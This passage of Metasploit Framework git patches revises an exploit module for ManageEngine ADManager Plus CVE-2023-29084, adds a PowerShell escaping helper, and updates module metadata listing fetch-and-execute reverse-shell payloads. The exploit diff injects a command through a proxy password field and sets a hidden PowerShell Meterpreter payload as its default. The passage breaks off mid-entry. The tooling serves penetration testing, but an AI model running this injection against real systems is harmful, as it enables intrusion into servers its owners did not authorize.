@@ def execute_command(cmd) elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/) print_warning("Settings successfully changed but the fact that the server responded likely means the payload didn't execute!") elsif res.body&.match(/"status":"error"/) - print_error("The payload somehow triggered an error on the target's side!") + print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}") else fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!') end @@ -210,15 +253,34 @@ def execute_command(cmd) end end - def create_params_value(cmd) + def create_params_value_enable(cmd) [ { tabId: 'proxy', ENABLE_PROXY: true, - SERVER_NAME: 'localhost', + SERVER_NAME: 'localhost', # In my experience this worked most reliably. USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s, PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}", - PORT: datastore['RPORT'] + PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably. + } + ].to_json + end + + def create_params_value_restore(enable_proxy = nil) + if enable_proxy.blank? + @proxy_enabled = false + else + @proxy_enabled = true + end + + [ + { + tabId: 'proxy', + ENABLE_PROXY: @proxy_enabled, + SERVER_NAME: @original_server_name, + USER_NAME: @original_user_name, + PASSWORD: @original_password, + PORT: @original_port } ].to_json end From 617aff5a430bbba6d1e900def53800092cc454dd Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 1 Jun 2023 16:59:14 -0500 Subject: [PATCH 280/415] Fix up supported payloads and remove nonused parameter --- ...anager_plus_cve_2023_29084_auth_cmd_injection.rb | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index 61dd2423359b7..a8d12a1a7d879 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -58,7 +58,8 @@ def initialize(info = {}) { 'Arch' => ARCH_CMD, 'Type' => :win_cmd, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }, + 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse bind none' } } } ], ], @@ -240,7 +241,7 @@ def modify_proxy(params) if res.body&.match(/{"isAuthorized":false}/) fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!') elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/) - print_warning("Settings successfully changed but the fact that the server responded likely means the payload didn't execute!") + print_warning("Settings successfully changed confirmation received before timeout occurred. Its possible the payload didn't execute!") elsif res.body&.match(/"status":"error"/) print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}") else @@ -266,13 +267,7 @@ def create_params_value_enable(cmd) ].to_json end - def create_params_value_restore(enable_proxy = nil) - if enable_proxy.blank? - @proxy_enabled = false - else - @proxy_enabled = true - end - + def create_params_value_restore [ { tabId: 'proxy', From 7728e1e2fbfb73252013613136ce1d10ae3cb0f8 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Fri, 2 Jun 2023 10:22:56 -0500 Subject: [PATCH 281/415] Add in new library function for escaping PowerShell literals --- lib/msf/core/post/windows.rb | 22 ++++++++++++++++++++++ modules/encoders/cmd/powershell_base64.rb | 4 ++-- 2 files changed, 24 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb index fbeb92603a71b..4edc7d6136b4f 100644 --- a/lib/msf/core/post/windows.rb +++ b/lib/msf/core/post/windows.rb @@ -15,4 +15,26 @@ def self.escape_cmd_literal(string, spaces:) string.gsub!(' ', '" "') if spaces string end + + # Escape a string literal value to be included as an argument to powershell.exe. + # This will help in cases where one might need to use & as in PowerShell this is + # a reserved character whereas in cmd.exe this is used to indicate the start + # of an additional command to execute. + # + # Example (without this escaping): + # powershell -Command "cmd /c echo hello & echo world" <- This will result in errors as & is a reserved character. + # powershell -Command "cmd.exe /c 'echo hello & echo world'" <- This will succeed as & is interpreted as part of a string by PowerShell. + # + # In our case we use PowerShell quoting as described at https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_quoting_rules?view=powershell-7.3 + # which states that to use a single quote inside of a single quoted string, use a second consecutive single quote. + # Therefore this is valid in PowerShell: 'don''t' + # Which in turn becomes the string "don't" (sans double quotes) inside PowerShell. + # + # @param string [String] The string to escape for use with powershell.exe. + # @return [String] The escaped string. + def self.escape_powershell_literal(string) + string = string.dup + string.gsub!("'", "''") + string + end end diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb index 7aa8b734d168c..d4d3685ade140 100644 --- a/modules/encoders/cmd/powershell_base64.rb +++ b/modules/encoders/cmd/powershell_base64.rb @@ -2,7 +2,7 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - +include Msf::Post::Windows class MetasploitModule < Msf::Encoder Rank = ExcellentRanking @@ -56,7 +56,7 @@ def encode_buf(buf) # The use of quotes also ensures that we get around the issue with cmd.exe understanding & as a symbol for # "also execute this command", whereas in PowerShell it is a reserved character, so not quoting the string # will result in the & being interpreted by PowerShell and the command failing on an interpretation error in PowerShell itself. - base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c 'start #{buf.gsub("'", "''")} '")) + base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c 'start #{Msf::Post::Windows.escape_powershell_literal(buf)} '")) cmd = "powershell -w hidden -nop -e #{base64}" end end From 7a2505e6f8b422cc14323c048a885a96ce1776fa Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 2 Jun 2023 11:10:00 -0500 Subject: [PATCH 282/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 1758 +++++++++++++++++++++++++++++---- 1 file changed, 1551 insertions(+), 207 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 48a24a705f108..038fbc64c0c38 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -177016,6 +177016,120 @@ "session_types": false, "needs_cleanup": false }, + "payload_cmd/linux/http/mips64/meterpreter_reverse_http": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from an HTTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/mips64/meterpreter_reverse_https": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from an HTTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/mips64/meterpreter_reverse_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from an HTTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/mips64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "payload_cmd/linux/http/x64/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/x64/exec", @@ -177030,7 +177144,7 @@ "ricky", "Geyslan G. Bem " ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nExecute an arbitrary command or just a /bin/sh shell", + "description": "Fetch and execute an x64 payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell", "references": [ ], @@ -177040,7 +177154,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/exec", @@ -177066,7 +177180,7 @@ "Brent Cook ", "ricky" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection", + "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection", "references": [ ], @@ -177076,7 +177190,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/meterpreter/bind_tcp", @@ -177102,7 +177216,7 @@ "Brent Cook ", "RageLtMan " ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], @@ -177112,7 +177226,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/meterpreter/reverse_sctp", @@ -177139,7 +177253,7 @@ "ricky", "tkmru" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], @@ -177149,7 +177263,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/meterpreter/reverse_tcp", @@ -177161,6 +177275,117 @@ "session_types": false, "needs_cleanup": false }, + "payload_cmd/linux/http/x64/meterpreter_reverse_http": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x64/meterpreter_reverse_https": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x64/meterpreter_reverse_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "payload_cmd/linux/http/x64/pingback_bind_tcp": { "name": "HTTP Fetch, Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/cmd/linux/http/x64/pingback_bind_tcp", @@ -177174,7 +177399,7 @@ "Brendan Watters", "bwatters-r7" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nAccept a connection from attacker and report UUID (Linux x64)", + "description": "Fetch and execute an x64 payload from an HTTP server.\nAccept a connection from attacker and report UUID (Linux x64)", "references": [ ], @@ -177184,7 +177409,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/pingback_bind_tcp", @@ -177209,7 +177434,7 @@ "Brendan Watters", "bwatters-r7" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and report UUID (Linux x64)", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and report UUID (Linux x64)", "references": [ ], @@ -177219,7 +177444,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/pingback_reverse_tcp", @@ -177244,7 +177469,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a command shell (staged).\n\nListen for a connection", + "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], @@ -177254,7 +177479,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell/bind_tcp", @@ -177280,7 +177505,7 @@ "ricky", "RageLtMan " ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -177290,7 +177515,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell/reverse_sctp", @@ -177316,7 +177541,7 @@ "ricky", "tkmru" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -177326,7 +177551,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell/reverse_tcp", @@ -177351,7 +177576,7 @@ "Brendan Watters", "epi " ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection and spawn a command shell", + "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for an IPv6 connection and spawn a command shell", "references": [ ], @@ -177361,7 +177586,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell_bind_ipv6_tcp", @@ -177386,7 +177611,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection and spawn a command shell", + "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection and spawn a command shell", "references": [ ], @@ -177396,7 +177621,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell_bind_tcp", @@ -177421,7 +177646,7 @@ "Brendan Watters", "Geyslan G. Bem " ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection in a random port and spawn a command shell.\nUse nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute an x64 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ ], @@ -177431,7 +177656,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell_bind_tcp_random_port", @@ -177456,7 +177681,7 @@ "Brendan Watters", "mak" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a shell on an established connection", + "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a shell on an established connection", "references": [ ], @@ -177466,7 +177691,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell_find_port", @@ -177491,7 +177716,7 @@ "Brendan Watters", "epi " ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a command shell over IPv6", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], @@ -177501,7 +177726,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell_reverse_ipv6_tcp", @@ -177526,7 +177751,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a command shell", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", "references": [ ], @@ -177536,7 +177761,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/http/x64/shell_reverse_tcp", @@ -177548,9 +177773,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/exec": { - "name": "HTTPS Fetch, Linux Execute Command", - "fullname": "payload/cmd/linux/https/x64/exec", + "payload_cmd/linux/https/mips64/meterpreter_reverse_http": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_http", "aliases": [ ], @@ -177559,10 +177784,12 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky", - "Geyslan G. Bem " + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nExecute an arbitrary command or just a /bin/sh shell", + "description": "Fetch and execute an x64 payload from an HTTPS server.", "references": [ ], @@ -177572,10 +177799,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/exec", + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -177584,9 +177811,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { - "name": "HTTPS Fetch, Bind TCP Stager", - "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp", + "payload_cmd/linux/https/mips64/meterpreter_reverse_https": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_https", "aliases": [ ], @@ -177595,23 +177822,25 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "ricky" + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection", + "description": "Fetch and execute an x64 payload from an HTTPS server.", "references": [ ], - "platform": "Linux,Linux", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/meterpreter/bind_tcp", + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -177620,9 +177849,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { - "name": "HTTPS Fetch, Reverse SCTP Stager", - "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp", + "payload_cmd/linux/https/mips64/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_tcp", "aliases": [ ], @@ -177631,23 +177860,25 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "RageLtMan " + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from an HTTPS server.", "references": [ ], - "platform": "Linux,Linux", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/meterpreter/reverse_sctp", + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177656,9 +177887,117 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { - "name": "HTTPS Fetch, Reverse TCP Stager", - "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp", + "payload_cmd/linux/https/x64/exec": { + "name": "HTTPS Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/https/x64/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky", + "Geyslan G. Bem " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { + "name": "HTTPS Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "ricky" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { + "name": "HTTPS Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "RageLtMan " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter/reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -177671,7 +178010,7 @@ "ricky", "tkmru" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", "references": [ ], @@ -177681,7 +178020,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/meterpreter/reverse_tcp", @@ -177693,6 +178032,117 @@ "session_types": false, "needs_cleanup": false }, + "payload_cmd/linux/https/x64/meterpreter_reverse_http": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter_reverse_https": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": 